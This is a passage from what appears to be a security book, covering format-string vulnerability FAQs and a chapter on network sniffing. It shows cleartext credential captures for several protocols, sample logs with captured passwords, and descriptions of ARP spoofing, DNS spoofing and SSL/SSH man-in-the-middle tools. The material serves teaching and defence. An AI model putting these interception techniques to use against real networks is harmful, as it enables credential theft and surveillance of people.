A: Unfortunately, no. Format string vulnerabilities allow for an attacker to write
to almost any location in memory. StackGuard protects the integrity of stack
frames, while nonexecutable stack configurations do not allow instructions in
the stack to be executed. Format string vulnerabilities allow for both of these
protections to be evaded. Hackers can replace values used to reference
instructions other than function return addresses to avoid StackGuard, and
can place shellcode in areas such as the heap. Although protections such as
nonexecutable stack configurations and StackGuard may stop some publicly
available exploits, determined and skilled hackers can usually get around
them.
Q: Are format string vulnerabilities UNIX specific?
A: No. Format string vulnerabilities are common in UNIX systems because of
the more frequent use of the printf functions. Misuse of the syslog interface
also contributes to many of the UNIX specific format string vulnerabilities.
The exploitability of these bugs (involving writing to memory) depends on
whether the C library implementation of printf supports %n. If it does, any
program linked to it with a format string bug can theoretically be exploited
to execute arbitrary code.
Q: How can I find format string vulnerabilities?
A: Many format string vulnerabilities can easily be picked out in source code. In
addition, they can often be detected automatically by examining the arguments
passed to printf() functions.Any printf() family call that has only a single argument
is an obvious candidate, if the data being passed is externally supplied.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the &iexcl;§Ask the Author&iexcl;&uml; form.
Format Strings &iexcl;E Chapter 9 359
Q: How can I eliminate or minimize the risk of unknown format string vulnerabilities
in programs on my system?
A: A good start is having a sane security policy. Rely on the least-privileges
model, ensure that only the most necessary utilities are installed setuid and
can be run only by members of a trusted group. Disable or block access to all
services that are not completely necessary.
Q: What are some signs that someone may be trying to exploit a format string
vulnerability?
A: This question is relevant because many format string vulnerabilities are due to
bad use of the syslog() function.When a format string vulnerability due to
syslog() is exploited, the formatted string is output to the log stream.An
administrator monitoring the syslog logs can identify format string exploitation
attempts by the presence of strange looking syslog messages. Some other
more general signs are if daemons disappear or crash regularly due to access
violations.
Q: Where can I learn more about finding and exploiting format string
vulnerabilities?
A: There are a number of excellent papers on the subject.Tim Newsham
authored a whitepaper published by Guardent which can be found at
www.securityfocus.com/archive/1/81565. Papers written by TESO
(www.team-teso.net/articles/formatstring) and HERT
(www.hert.org/papers/format.html) are also recommended.

[mic64]

Chapter 10 • Sniffing
Introduction
sniff (snif)
v. sniffed, sniff·ing, sniffs.
v. intr.
1. a. To inhale a short, audible breath through the nose, as in smelling
something.
b. To sniffle.
2. To use the sense of smell, as in savoring or investigating: sniffed at the jar
to see what it held.
3. To regard something in a contemptuous or dismissive manner: The critics
sniffed at the adaptation of the novel to film.
4. Informal.To pry; snoop: The reporters came sniffing around for more details.
As these definitions describe, the word sniffing has a number of meanings.
Although we believe that hackers generate irritating sniffling noises, sniff at jars
to determine their contents, and especially sniff in contempt, we really are interested
in the last meaning: the process of prying or snooping.
What Is Sniffing?
Sniffing is method by which an attacker can compromise the security of a network
in a passive fashion. A sniffer, in network security circles, is a program or
tool that passively monitors a computer network for key information that the
attacker is interested in. In most cases, this information is authentication information,
such as usernames and passwords, which can be used to gain access to a
system or resource. Sniffers are included with most rootkits. If your UNIX
machine has been broken into, it is likely running a sniffer right now.
How Does It Work?
There are two techniques for sniffing: old-school and new-school. In the old
days, computers were connected via a shared medium.They all shared the same
local wire, and network traffic was seen by all computers. Network cards filtered
traffic in the hardware so that the attached computer would see only its own
traffic, and not anybody else’s.This wasn’t a security feature; it was designed to
avoid overloading the machine. Sniffing software disables this filter, putting the
www.syngress.com
www.syngress.com
card into what is known as “promiscuous mode.”The software is specially tuned
to deal with the flood of traffic, and then either analyze it or capture it.
These days, more and more computers are connected by switches. Rather
than distributing network traffic to all ends of the network, switches filter traffic
at the hub.This prevents the computer from seeing anybody else’s traffic, even
when it puts the adapter into promiscuous mode. Attackers must either actively
attack the switch/router fabric in order to redirect traffic flows (which we’ll
describe later), or content themselves to monitoring only the traffic flowing
through the box they’ve compromised.
When network traffic enters the machine, it is first handled by the Ethernet
driver.The driver then passes the traffic to the Transmission Control
Protocol/Internet Protocol (TCP/IP) stack, which will in turn pass it to applications.
Sniffing software connects directly to the Ethernet driver, making a copy of
it. UNIX provides a more open set of interfaces for doing this, whereas Windows
systems have provided few tools for this.Thus, sniffers are usually part of UNIX
rootkits, and seldom part of Windows rootkits.
What to Sniff?
When monitoring a network, there are many interesting pieces of data to look
for. In the most obvious case, authentication information (usernames and passwords)
can be captured, and then used to gain access to a resource.Other types of
information can also be monitored, such as e-mail and instant messages.Anything
passing over the network is open to peering eyes.
Obtaining Authentication Information
The following subsections provide examples of the various types of network
traffic that is attractive to an attacker who is monitoring your network.The following
sections are organized by the protocol or service that the traffic corresponds
to, and by no means represent a comprehensive listing.
In the example traffic in the next section, bold text indicates that it was sent
by a client program, and standard text indicates it was sent by the server. In
almost all cases, we are interested only in client-generated traffic, since this traffic
will contain the authentication information. More advanced sniffers may also
examine server result codes to filter out failed authentication attempts.
The following sections provide a brief overview of the types of authentication
information that can be gleaned from the respective protocols.These examples
have been simplified, and in some cases, the current versions of these
Sniffing • Chapter 10 363
364 Chapter 10 • Sniffing
protocols support more advanced authentication mechanisms that alleviate the
risks shown. In the case of common Internet protocols, a Request for Comments
(RFC) that can elaborate on its specifications is available.
Monitoring Telnet (Port 23)
Telnet historically has been the service that an attacker will monitor when
attempting to obtain login information.Telnet provides no session-level security,
sending username and password information in plaintext across a network as
shown here:
[~] % telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.12-20 on an i686
login: oliver
Password: welcome
[18:10:03][redhat61]
[~] %
Monitoring FTP (Port 21)
The File Transfer Protocol (FTP) service, used for file transmissions across the
network, also sends its authentication information in plaintext. Unlike Telnet,
FTP can also be used to allow anonymous access to files, whereby a user uses the
username “anonymous” or “ftp” and issues an arbitrary password. FTP protocol
information is normally hidden by a friendly client interface; however, the underlying
authentication traffic appears as follows on a network:
[~] % telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 localhost FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT
1999) ready.
www.syngress.com
Sniffing • Chapter 10 365
USER oliver
331 Password required for oliver.
PASS welcome
230 User oliver logged in.
Monitoring POP (Port 110)
The Post Office Protocol (POP) service is a network server by which clientbased
e-mail programs are connected to access a user’s e-mail on a central server.
POP servers appear commonly on an Internet service provider’s (ISP’s) network,
to provide e-mail delivery to customers. POP traffic is often not encrypted,
sending authentication information in plaintext. Username and password information
is specified to the remote server via the USER and PASS commands.An
example of the protocol is as follows:
[~] % telnet localhost 110
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
+OK POP3 localhost v7.59 server ready
USER oliver
+OK User name accepted, password please
PASS welcome
+OK Mailbox open, 24 messages
Note that extensions to the POP protocol exist, which prevent authentication
information from being passed on the network in the clear, in addition to session
encryption.
Monitoring IMAP (Port 143)
The Internet Message Access Protocol (IMAP) service is an alternative protocol to
the POP service, and provides the same functionality. Like the POP protocol,
authentication information is in many cases sent in plaintext across the network.
IMAP authentication is performed by sending a string consisting of a user-selected
token, the LOGIN command, and the username and password as shown here:
[~] % telnet localhost imap
Trying 127.0.0.1...
www.syngress.com
366 Chapter 10 • Sniffing
Connected to localhost.
Escape character is '^]'.
* OK localhost IMAP4rev1 v12.250 server ready
A001 LOGIN oliver welcome
A001 OK LOGIN completed
Note that extensions to the IMAP protocol exist, which prevent authentication
information from being passed on the network in the clear, in addition to
session encryption.
Monitoring NNTP (Port 119)
The Network News Transport Protocol (NNTP) supports the reading and
writing of Usenet newsgroup messages. NNTP authentication can occur in many
ways. In legacy systems, authentication was based primarily on a client’s network
address, restricting news server access to only those hosts (or networks) that were
within a specified address range. Extensions to NNTP were created to support
various authentication techniques, including plaintext and encrypted challenge
response mechanisms.The plaintext authentication mechanism is straightforward
and can easily be captured on a network. It appears as follows:
[~] % telnet localhost 119
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
200 Welcome to My News Server (Typhoon v1.2.3)
AUTHINFO USER oliver
381 More Authentication Required
AUTHINFO PASS welcome
281 Authentication Accepted
Monitoring rexec (Port 512)
The rexec service, called rexecd on almost all UNIX-based operating systems, is a
legacy service used for executing commands remotely.The service performs
authentication via plaintext username and password information passed to the
server by a client.The service receives a buffer from the client consisting of the
following data:
www.syngress.com
Sniffing • Chapter 10 367
 An ASCII port number, specifying a port for the server to connect to, to
send standard error information.This is a port on the client host that
will be awaiting this connection. 0 is specified if this is not desired.This
string is NULL terminated.
 A NULL terminated username, 16 characters long or less.
 A NULL terminated password, 16 characters long or less.
 A NULL terminated command to be executed on the remote host.
An example authentication request may appear as follows:
0\0oliver\0welcome\0touch /tmp/hello\0
If authentication was successful, a NULL byte is returned by the server;
otherwise, a value of 1 is returned in addition to an error string.
Monitoring rlogin (Port 513)
The rlogin protocol provides much the same functionality as the Telnet protocol,
combined with the authentication mechanism of the rexec protocol, with some
exceptions. It supports trust relationships, which are specified via a file called
rhosts in the user’s home directory.This file contains a listing of users and the
hosts on which they reside, who are allowed to log in to the specified account
without a password. Authentication is performed instead by trusting that the user
is who the remote rlogin client says he or she is.This authentication mechanism
works only among UNIX systems, and is extremely flawed in many ways; therefore,
it is not widely used on networks today. If a trust relationship does not exist,
username and password information is still transmitted in plaintext over this protocol
in a similar fashion to rexec:
 An ASCII port number, specifying a port for the server to connect to, to
send standard error information.This is a port on the client host that
will be awaiting this connection. 0 is specified if this is not desired.This
string is NULL terminated.
 A NULL terminated client username, 16 characters long or less.
 A NULL terminated server username, 16 characters long or less.
 A NULL terminated string consisting of the terminal type and speed.
The server then returns a 0 byte to indicate it has received these. If authentication
via the automatic trust mechanism fails, the connection is then passed to
www.syngress.com
368 Chapter 10 • Sniffing
the login program, at which point a login proceeds as it would have if the user
had connected via the Telnet service.
Monitoring X11 (Port 6000+)
The X11 Window system uses a “magic cookie” to perform authorization against
clients attempting to connect to a server. A randomly generated 128-bit cookie is
sent by X11 clients when connecting to the X Window server. By sniffing this
cookie, an attacker can use it to connect to the same X Window server. Normally,
this cookie is stored in a file named .Xauthority within a user’s home directory.
This cookie is passed to the X Window server by the xdm program at logon.
Monitoring NFS File Handles
The Network File System (NFS), originally created by Sun Microsystems, relies
on what is known as an NFS file handle to grant access to a particular file or
directory offered by a file server. By monitoring the network for NFS file handles,
it is possible to obtain this handle, and use it yourself to obtain access to the
resource. Unfortunately, the NFS protocol uses Open Network Computing-
Remote Procedure Call (ONC-RPC) to perform its operations, which introduces
more complexity than a plaintext authentication mechanism.This does not
provide more security; however, it makes it difficult to provide example network
traffic in this book.
The process by which a legitimate NFS client accesses a file system on a
server is as follows:
 The user issues a mount request, attempting to mount a remote file
system.
 The local operating system contacts an RPC service on the remote host
called rpc.mountd, passing it the name of the file system it wishes to
access.
 The mountd program performs an access validation check to determine
whether the request came from a privileged port on the client host, and
whether the client host has been given permission to access the target
host.
 The mountd program sends a reply back to the client, including an NFS
file handle that provides access to the root of the file system the user
wishes to access.
www.syngress.com
Sniffing • Chapter 10 369
 The client program now contacts the NFS daemon (nfsd) on the target
host, passes in the file handle, and obtains access to the resource.
Capturing Windows NT Authentication Information
Windows operating systems support a number of different authentication types,
each of which progressively increase its security.The use of weak Windows NT
authentication mechanisms, as explained next, creates one of the weakest links in
Windows NT security.The authentication types supported are explained here:
 Plaintext Passwords are transmitted in the clear over the network.
 Lan Manager (LM) Uses a weak challenge response mechanism
where the server sends a challenge to the client, which it uses to encrypt
the user’s password hash and then send it back to the server.The server
does the same, and compares the result to authenticate the user.The
mechanism with which this hash is transformed before transmission is
very weak, and the original hash can be sniffed from the network and
cracked quite easily. In Windows NT 4, even though a stronger authentication
mechanism is available (NTLM), the LM hash was still sent over
the network along with the NTLM hash, which lowers the security to
the security of the LM mechanism.
 NT Lan Manager (NTLM) and NT Lan Manager v2 (NTLMv2)
NTLM and NTLMv2 provide a much stronger challenge/response
mechanism, which has made it much more difficult to crack captured
authentication requests. NTLMv2 was introduced with the release of
Service Pack 4 for Windows NT 4.0. NTLMv2 should be used if possible;
however, care must be taken to ensure that your clients can support
the protocol.You may need to install additional software on the clients
to allow them to use NTLMv2.
The development of these mechanisms occurred in a series of iterative steps,
as weaknesses were found in each prior implementation (fortunately, the weaknesses
became less significant with each improvement).
There are specialized sniffers that support only the capture of Windows NT
authentication information. A good example is one included with the L0phtcrack
program (which is exclusively a Windows NT password cracker).The documentation
that comes with L0phtcrack explains in great detail how Windows NT
password hashes are created. L0phtcrack can be obtained at http://stake.com/
research/lc3.
www.syngress.com
370 Chapter 10 • Sniffing
Capturing Other Network Traffic
Although the ports we just examined are the most commonly sniffed due to
cleartext authentication information being passed, they are not the only ones that
an attacker may find of interest. A sniffer may be used to capture interesting
traffic on other ports, as shown in this section.
Monitoring SMTP (Port 25)
Simple Mail Transfer Protocol (SMTP) is used to transfer e-mail on the Internet
and internally in many organizations. E-mail has been and always will be an
attractive target for an attacker. An attacker’s goal may be to watch the network
administrator to determine whether he has been discovered, or it may be a much
more sinister activity. It is not hard to believe that in today’s competitive business
environment, the goal can be to monitor the network for internal company
information, such as merger and acquisition data, and partnership information. All
of this usually can be gleaned by reading e-mail that has been sent over the network.
The dsniff sniffer, explained in more detail later, includes a program designed
to capture e-mail messages from the network:
mailsnarf outputs e-mail messages sniffed from SMTP and POP
traffic in Berkeley mbox format, suitable for offline browsing with
your favorite mail reader (mail(1), pine(1), etc.). —dsniff FAQ
Monitoring HTTP (Port 80)
Hypertext Transfer Protocol (HTTP) is used to pass Web traffic.This traffic, usually
destined for port 80, is commonly monitored more for statistics and network
usage than for its content. Although HTTP traffic can contain authentication
information and credit card transactions, this type of information more commonly
is encrypted via Secure Sockets Layer (SSL). Commercial products are
available to monitor this usage for organizations that find it acceptable to track
their users’Web usage.
The dsniff sniffer also includes a program designed specifically to capture
URL requests from the network:
urlsnarf outputs all requested URLs sniffed from HTTP traffic in CLF
(Common Log Format, used by almost all Web servers), suitable for
offline post-processing with your favorite Web log analysis tool
(analog, wwwstat, etc.). —dsniff FAQ
www.syngress.com
Sniffing • Chapter 10 371
Popular Sniffing Software
There have been many sniffer programs written throughout the history of network
monitoring.We examine a few key programs here. Note that it is not our
intention to provide a comprehensive list of sniffers, only some example implementations.
We examine both commercial implementations, used for network
diagnostics, and implementations written purely for capturing authentication
information. More implementations can be found at your nearest security site,
such as www.securityfocus.com.
Ethereal
Ethereal is one of the newest protocol analyzers, having appeared on the scene
around 1998. However, due to its open source nature, Ethereal has become one
of the most popular protocol analyzers. Because of the community of developers,
it decodes more protocols than many commercial offerings. For UNIX-based systems,
it is by far the best protocol analyzer. However, although it runs on
Windows, it doesn’t have quite the same polish that Windows users expect.The
user interface is based upon Gtk, so it has a very UNIX-like feel to it.
Figure 10.1 shows the Ethereal capture window. One of the useful features of
Ethereal is live decodes. Most protocol analyzers cannot display the captured data
until after capture has been halted. Such live decodes are thought to be a bad feature
because network traffic can flow by at 10,000 packets per second, far faster
than humans can keep up. However, most users of a sniffer will create capture filters
that discard most of the traffic anyway.
www.syngress.com
Figure 10.1 Ethereal Capture Preferences
372 Chapter 10 • Sniffing
Once captured, the packets are stored in a buffer and shown in a typical
three-pane display (see Figure 10.2).This was the display format chosen by the
original Sniffer Protocol Analyzer, and has been adopted by all other products.
The top window shows a line-by-line summary of each packet.The second
window shows the detailed decode of the current packet highlighted in the summary
window.The third window shows a hex dump of the same packet. Clicking
on a field in the detail window causes the equivalent characters to be highlighted
in the hex window.
Network Associates Sniffer Pro
Sniffer Pro is a commercial product (the name “Sniffer” itself is a trademark of
Network Associates, Inc.).The product may very well be where the hackerderived
name originated, as it existed long before targeted password capturing
programs were available.The Sniffer Pro product from Network Associates provides
an easy-to-use interface for capturing and viewing network traffic. One
www.syngress.com
Figure 10.2 Ethereal Protocol Decodes
Sniffing • Chapter 10 373
major benefit of commercial products is that they support a vast range of network
protocols, and display the decoded protocol data in a very easy-to-read
manner. Sniffer Pro runs in two primary modes: first, it captures network traffic,
and second, it decodes and displays it.
Figure 10.3 shows Sniffer Pro running in capture mode; network statistics and
data are displayed in the dials shown.
Once captured, data is decoded and displayed in an easy-to-read fashion. In
Figure 10.4, we can see that Sniffer Pro has decoded the HTTP request for us.
Inside, we can see some relevant variables being passed, alias and pw. For this Web
application, those are the username and password.
www.syngress.com
Figure 10.3 Sniffer Pro in Capture Mode
374 Chapter 10 • Sniffing
NT Network Monitor
Windows NT server ships with network monitoring software called Network
Monitor, or Netmon for short.This version of Netmon captures only traffic
entering or leaving the server on which it is installed.There are versions of
Netmon for Windows 2000 and Windows XP with the same restriction.
However, there is a version of Netmon that captures all traffic.That version is
available with Systems Management Server (SMS). Netmon provides some
advantages over other commercial network analyzers, in that it has the ability to
decode some proprietary Microsoft network traffic, which has no open specifications.
Good examples of this type of traffic are the many different MS-RPC services
that communicate using named pipes over Windows NT networking.
Although Netmon does not decode all of these MS-RPC services, it does decode
a significant portion, which would not otherwise be understood.
www.syngress.com
Figure 10.4 Sniffer Pro Displaying Captured Data
Sniffing • Chapter 10 375
Network Monitor’s operation is very similar to Sniffer Pro’s, as it provides
both a capture (see Figure 10.5) and view (see Figure 10.6) mechanism that provide
the same functionality.
WildPackets
One of the oldest protocol analyzers is EtherPeek by WildPackets (formerly provided
by the A.G. Group). It is available for the Macintosh as well as Windows (it
was originally written more than 10 years ago for the Macintosh). EtherPeek has
interesting real-time displays and decodes and other interesting features (download
from www.wildpackets.com for a demo version).Today, it is primarily
notable for its AiroPeek version that sniffs IEEE 802.11b wireless networks.
www.syngress.com
Figure 10.5 Network Monitor in Capture Mode
376 Chapter 10 • Sniffing
TCPDump
TCPDump is by far the most popular network diagnostic and analysis tool for
UNIX-based operating systems.TCPDump monitors and decodes all IP,TCP,
User Datagram Protocol (UDP), and Internet Control Message Protocol (ICMP)
header data, in addition to some application layer data (mostly network infrastructure
protocols).TCPDump was not written as an attacker’s tool, and is not
designed to assist an attacker who wishes to monitor the network.That being
said, it does provide a good starting point for anyone intending to write a sniffer,
and since its source code is free, it provides interesting reading.
www.syngress.com
Figure 10.6 Network Monitor in View Mode
Sniffing • Chapter 10 377
TCPDump can be obtained from www.tcpdump.org. Many modifications
have been made to TCPDump in recent years to add support for a wide range of
additional protocols.
dsniff
dsniff is a sniffing toolkit provided by Dug Song. dsniff is available on his Web site
at www.monkey.org/~dugsong/dsniff, or at a number of mirrors sites.
dsniff is most famous for its authentication (usernames, passwords) sniffing capabilities.
The current version of dsniff will decode authentication information for the
following protocols:AOL Instant Messenger, Citrix Winframe, Concurrent Versions
System (CVS), FTP, HTTP, ICQ, IMAP, Internet Relay Chat (IRC), Lightweight
Directory Access Protocol (LDAP), RPC mount requests, Napster, NNTP, Oracle
SQL*Net, Open Shortest Path First (OSPF), PC Anywhere, POP, PostgreSQL,
Routing Information Protocol (RIP), Remote Login (rlogin),Windows NT
plaintext (SMB), Network Associates Sniffer Pro (remote), Simple Network
Management Protocol (SNMP), Socks,Telnet, X11, and RPC yppasswd.
www.syngress.com
dsniff Used against the Author
The following sample output from dsniff was captured by Dug Song,
who successfully captured my password at the CanSecWest 2001 security
conference. It happened because Outlook automatically checks POP3
servers, even when you just open it to grab someone’s contact information.
I quickly changed the password, just in time—the remainder of
dsniff output captures somebody else attempting to log on with that
password, presumably another person using dsniff who had captured
the password.
-----------------
03/28/01 18:43:24 tcp 192.168.1.201.1035 ->
216.136.173.10.110 (pop)
USER robert_david_graham
PASS Cerveza2
Notes from the Underground…
Continued
378 Chapter 10 • Sniffing
www.syngress.com
-----------------
03/29/01 02:07:41 tcp 192.168.1.243.1837 ->
216.136.173.10.110 (pop)
USER robert_david_graham
PASS Cerveza2
-----------------
03/29/01 02:07:08 tcp 192.168.1.243.1836 ->
64.58.76.98.80 (http)
POST /config/login?84gteu3f1fmvt HTTP/1.0
Host: login.yahoo.com
Content-type: application/x-www-form-urlencoded
Content-length: 147
.tries=1&.src=ym&.last=&promo=&.intl=us&.bypass=&.partner=&.u=86
3imictc5nnu&.v=0&hasMsgr=0&.chkP=Y&.done=&login=robert
_david_graham&passwd=Cerveza2
-----------------
03/29/01 02:06:48 tcp 192.168.1.243.1835 ->
64.58.76.98.80 (http)
POST /config/login?15aeb5g14endr HTTP/1.0
Host: login.yahoo.com
Content-type: application/x-www-form-urlencoded
Content-length: 146
.tries=&.src=ym&.last=&promo=&.intl=us&.bypass=&.partner=&.u=863
imictc5nnu&.v=0&hasMsgr=0&.chkP=Y&.done=&login=robert
_david_graham&passwd=Cerveza2
-----------------
03/31/01 17:07:38 tcp 192.168.1.243.1307 ->
216.136.173.10.110 (pop)
USER robert_david_graham
PASS Cerveza2
Sniffing • Chapter 10 379
With today’s switched networks and encrypted protocols, password sniffing
doesn’t always work as well as we might hope. dsniff contains several redirect and
man-in-the-middle (MITM) utilities to redirect the flow of traffic and decrypt
sessions.
The first utility is arpspoof (formerly known as arpredirect). Address Resolution
Protocol (ARP) is used by hosts to find the local router’s Media Access Control
(MAC) address. By spoofing ARP packets, you can convince other nearby computers
that you are the router.Your machine has to forward them onto the legitimate
router after receiving them, but in the meantime, the dsniff password sniffer
has a chance to process the packets.This runs well not only on local switched
networks, but also cable-modem networks.This tool isn’t completely foolproof;
you are essentially fighting with the router, trying to convince other machines of
the local MAC address. As a result, traffic flows through your machine are sometimes
intermittent.This technique is easily detected by network-based intrusion
detection systems (IDSs). Even the Sniffer Pro (mentioned earlier) has an expert
diagnostic mode that will flag these as “duplicate IP addresses” (i.e., multiple
machines claiming to have the IP address of the router).
The dnsspoof utility is another way of redirecting traffic. In this case, it spoofs
responses from the local Domain Name System (DNS) server.When you go a
Web site such as http://www.example.com, your machine sends out a request to
your local DNS server asking for the IP address of www.example.com.This usually
takes a while to resolve; dnsspoof quickly sends its own response faster.The
victim will take the first response and ignore the second one.The spoofed
response will contain a different IP address than the legitimate response, usually
the IP address of the attacker’s machine.The attacker will likely be using one of
the other dsniff man-in-the-middle utilities.
The name man-in-the-middle comes from cryptography and describes the situation
when somebody intercepts communications, alters it, and then forwards it.
The dsniff utilities for these attacks are webmitm for HTTP traffic (including SSL)
and sshmitm (for SSH). Normally, SSH and SSL are thought to be secure,
encrypted protocols that cannot be sniffed.The way the MITM utilities work is
that they present their own encryption keys to the SSL/SSH clients.This allows
them to decrypt the traffic, sniff passwords, and then reencrypt with the original
server keys. In theory, you can protect yourself against this by checking the
validity of the server certificate, but in practice, nobody does this.
dsniff can sniff not only passwords, but also other cleartext traffic.The mailsnarf
utility sniffs e-mails like the FBI’s Carnivore, except it reassembles them into
an mbox format that can be read by most mail readers.The msgsnarf utility sniffs
www.syngress.com
380 Chapter 10 • Sniffing
messages from ICQ, IRC,Yahoo! Messenger, and AOL IM.The filesnarf utility
sniffs files transferred via NFS (a popular fileserver protocol used on UNIX systems).
The urlsnarf utility saves all the URLs it sees going across the wire.The
webspy utility sends those URLs to a Netscape Web browser in real time—essentially
allowing you to watch in real time what the victim sees on their Web
browser.
The macof utility sends out a flood of MAC addresses.This is intended as
another way of attacking Ethernet switches. Most switches have limited tables
that can hold only 4000 MAC addresses.This is more than enough for normal
networks—you would need 4000 machines attached to the switch before overloading
these tables.When the switch overloads, it “fails open” and starts repeating
every packet out every port, allowing everyone’s traffic to be sniffed.
The tcpkill utility kills TCP connections. It can be used as a denial of service
(DoS) attack. For example, you can configure it to kill every TCP connection
your neighbor makes. It can also be integrated with tools like network-based
IDSs to kill connections from hackers.The tcpnice utility is similar to tcpkill, but
rather than killing connections, it slows them down. For example, you could
spoof ICMP Source Quenches from your neighbor’s cable modems so that you
can get a higher percentage of the bandwidth for your downloads.
Ettercap
Ettercap is a package similar to dsniff. It has many of the same capabilities, such as
man-in-the-middle attacks against SSL and SSH and password sniffing. It also has
additional features for man-in-the-middle attacks against normal TCP connections,
such as inserting commands into the stream. Ettercap is written by Alberto
Ornaghi and Marco Valleri and is available on the Web at http://ettercap.sourceforge.
net.
Esniff.c
Esniff.c is probably one of the first sniffers that surfaced within the hacker underground.
Written by a hacker named rokstar, it functioned only on Sun
Microsystems’ SunOS (now outdated) operating systems. Esniff.c supports the
Telnet, FTP, and rlogin protocols. It provides basic functionality and does not
support a comprehensive list of protocols as those found in newer sniffers such as
dsniff and sniffit.This sniffer was first publicly published in Phrack magazine,
which can be obtained from www.phrack.org/show.php?p=45&a=5.
www.syngress.com
Sniffing • Chapter 10 381
Sniffit
Sniffit is another sniffer that has been around for several years. It is available for
several operating systems, including Linux, Solaris, SunOS, Irix, and FreeBSD.
Sniffit has not been updated in a few years, but I have found it to be quite stable
(even though the last release was classified as a beta). Brecht Claerhout, the
author of Sniffit, has two versions available on his Web site: 0.3.5 (released in
April 1997) and 0.3.7.beta (released in July 1998). I have had no problems compiling
and using 0.3.7.beta, but if you encounter problems with 0.3.7.beta, then
you can still fall back and use 0.3.5. Brecht’s Web site is located at
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html.
One of the reasons I like (and use) Sniffit so much is that you can easily con-
figure it to log only certain traffic, such as FTP and Telnet.This type of filtering is
not unusual; it is available in other sniffers such as Sniffer Pro and NetMon. But
when was the last time you saw either one of those sniffers covertly placed on a
compromised system? Sniffit is small and easily configured to capture (and log)
only traffic that you know carries useful information in the clear, such as usernames
and passwords for certain protocols, as shown in the following example:
[Tue Mar 28 09:46:01 2000] - Sniffit session started.
[Tue Mar 28 10:27:02 2000] - 10.40.1.6.1332-10.44.50.40.21: USER
[hansen]
[Tue Mar 28 10:27:02 2000] - 10.40.1.6.1332-10.44.50.40.21: PASS
[worksux]
[Tue Mar 28 10:39:42 2000] - 10.40.1.99.1651-10.216.82.5.23: login
[trebor]
[Tue Mar 28 10:39:47 2000] - 10.40.1.99.1651-10.216.82.5.23: password
[goaway]
[Tue Mar 28 11:08:10 2000] - 10.40.2.133.1123-10.60.56.5.23: login
[jaaf]
[Tue Mar 28 11:08:17 2000] - 10.40.2.133.1123-10.60.56.5.23: password
[5g5g5g5]
[Tue Mar 28 12:45:21 2000] - 10.8.16.2.2419-10.157.14.198.21: USER
[afms]
[Tue Mar 28 12:45:21 2000] - 10.8.16.2.2419-10.157.14.198.21: PASS
[smfasmfa]
www.syngress.com
382 Chapter 10 • Sniffing
[Tue Mar 28 14:38:53 2000] - 10.40.1.183.1132-10.22.16.51.23: login
[hohman]
[Tue Mar 28 14:38:58 2000] - 10.40.1.183.1132-10.22.16.51.23: password
[98rabt]
[Tue Mar 28 16:47:14 2000] - 10.40.2.133.1069-10.60.56.5.23: login
[whitt]
[Tue Mar 28 16:47:16 2000] - 10.40.2.133.1067-10.60.56.5.23: password
[9gillion]
[Tue Mar 28 17:13:56 2000] - 10.40.1.237.1177-10.60.56.5.23: login
[douglas]
[Tue Mar 28 17:13:59 2000] - 10.40.1.237.1177-10.60.56.5.23: password
[11satrn5]
[Tue Mar 28 17:49:43 2000] - 10.40.1.216.1947-10.22.16.52.23: login
[demrly]
[Tue Mar 28 17:49:46 2000] - 10.40.1.216.1947-10.22.16.52.23: password
[9sefi9]
[Tue Mar 28 17:53:08 2000] - 10.40.1.216.1948-10.22.16.52.23: login
[demrly]
[Tue Mar 28 17:53:11 2000] - 10.40.1.216.1948-10.22.16.52.23: password
[jesa78]
[Tue Mar 28 19:32:30 2000] - 10.40.1.6.1039-10.178.110.226.21: USER
[custr2]
[Tue Mar 28 19:32:30 2000] - 10.40.1.6.1039-10.178.110.226.21: PASS
[Alpo2p35]
[Tue Mar 28 20:04:03 2000] - Sniffit session ended.
As you can see, in a just a matter of approximately 10 hours, I have collected
usernames and passwords for nine different users for three FTP sites and five
Telnet locations. One user, demrly, seems to have used the incorrect password
when he or she tried to login to 10.22.16.52 the first time, but I will keep this
password handy because it may be a valid password at some other location.
Carnivore
Carnivore is an Internet wiretap designed by the U.S. Federal Bureau of
Investigation (FBI). It is designed with the special needs of law enforcement in
mind. For example, some court orders might allow a pen-register monitoring of
www.syngress.com
Sniffing • Chapter 10 383
just the From/To e-mail addresses, whereas other court orders might allow a full
capture of the e-mail.A summary of Carnivore’s features can be seen within the
configuration program, shown in Figure 10.7.
The features are:
 Filter sets The settings are saved in configuration files; the user quickly
can change the monitoring by selecting a different filter set.
 Network adapters A system may have multiple network adapters; only
one can be selected for sniffing at a time.
 Archive file size A limit can be set on how much data is captured; by
default, it fills up the disk.
 Total memory usage Network traffic may come in bursts faster than
it can be written to disk; memory is set aside to buffer the incoming
data.
 Fixed IP address All traffic to/from a range of IP addresses can be filtered.
For example, the suspect may have a fixed IP address of 1.2.3.4
assigned to their cable modem.The FBI might get a court order
allowing them to sniff all of the suspect’s traffic.
www.syngress.com
Figure 10.7 Carnivore Configuration Program
384 Chapter 10 • Sniffing
 Protocols to capture Typically, a court order will allow only specific
traffic to be monitored, such as SMTP over TCP. In Pen mode, only the
headers are captured.
 Data text strings This is the Echelon feature that looks for keywords
in traffic. A court order must specify exactly what is to be monitored,
such as an IP address or e-mail account. Such wide-open keyword
searches are illegal in the United States.The FBI initially denied that
Carnivore had this feature.
 Ports A list of TCP and UDP ports can be specified. For example, if
the FBI has a court order allowing e-mail capture, they might specify
the e-mail ports of 25, 110, and 143.
 SMTP e-mail addresses A typical scenario is where Carnivore monitors
an ISPs e-mail server, discarding all e-mails except those of the suspects.
An e-mail session is tracked until the suspect’s e-mail address is
seen, then all the packets that make up the e-mail are captured.
 Dynamic IP addresses When users dial-up the Internet, they are
logged in via the RADIUS protocol, which then assigns them an IP
address. Normally, the FBI will ask the ISP to reconfigure their
RADIUS servers to always assign the same IP address to the suspect, and
will then monitor all traffic to/from that IP address. (Note: if you are a
dial-up user and suspect the FBI is after you, check to see if your IP
address is the same every time you dial up). Sometimes this isn’t possible.
Carnivore can be configured to monitor the RADIUS protocol and
